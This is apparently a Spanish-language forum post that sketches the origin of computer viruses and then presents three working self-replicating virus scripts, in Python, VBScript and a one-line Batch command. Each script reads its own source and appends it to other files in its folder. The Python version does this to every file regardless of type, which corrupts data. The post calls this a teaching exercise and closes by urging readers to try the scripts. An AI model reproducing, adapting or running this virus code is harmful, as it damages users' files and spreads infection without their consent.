Haciando un poco de historia sobre el mismo encontramos que a principio de los 80 varios programadores se percatan que podian ejecutar un programa y añadir el codigo fuente de ese programa a los demas ejecutables, haciendo que portaran parte del codigo y asi poder copiarse una y otra vez, se uso el termino de virus informatico debido a que el programa que se copiaba "infectaba" a los demas añadiendo codigo al final del mismo. Sin embargo, realizar un "virus" con los archivos ejecutables resulta muy trabajoso por lo que como ejercicio de didactico vamos a ver esto en lenguajes tipo "Scripting" respectivamente.
Arrancando por el mas querido Python, como virus.py
Código
#coding: utf-8 import os,sys full_path_name = sys.argv[0] path_local = sys.path[0] temp_var_file = open(full_path_name,'r') code_virus = temp_var_file.read() temp_var_file.close() for file_infects in os.listdir(path_local): path_file_infect = path_local+'\\'+file_infects if os.path.isfile(path_file_infect): if path_file_infect != full_path_name: infectar = open(path_file_infect,'a') infectar.write(code_virus) infectar.close() print("Fuiste infectado")
Por VBScript como virus.vbs
Código
Dim fso Dim Full_path_vbs, Path_local, code_virus set fso = createobject("Scripting.Filesystemobject") Full_path_vbs = wscript.scriptFullname Set Code_local = fso.opentextfile(Full_path_vbs,1) code_virus = Code_local.readall() code_local.close() path_local = fso.GetParentFolderName(Full_path_vbs) set obj_local_dir = fso.GetFolder(path_local) For Each var_file in obj_local_dir.files if (Lcase(fso.GetExtensionName(var_file)) = "vbs") and (var_file.name <> wscript.scriptname) then Set mutante = fso.opentextfile(var_file,8) mutante.write code_virus mutante.close end if next msgbox "infectado"
Y finalmente por una unica linea en Batch como virus.bat
Código
for %%f in (*.bat) do copy %%f + %0
Como se puede ver, los tres cumplen las mismas condiciones, extraer su codigo fuente leyendose a si mismo, posteriormente buscar en el directorio local otros Scripts con la misma extension y abrirlos en modo añadidura para escribir su codigo al final de los ficheros distintos a el he "infectarlos".
Saludos y hacer las pruebas.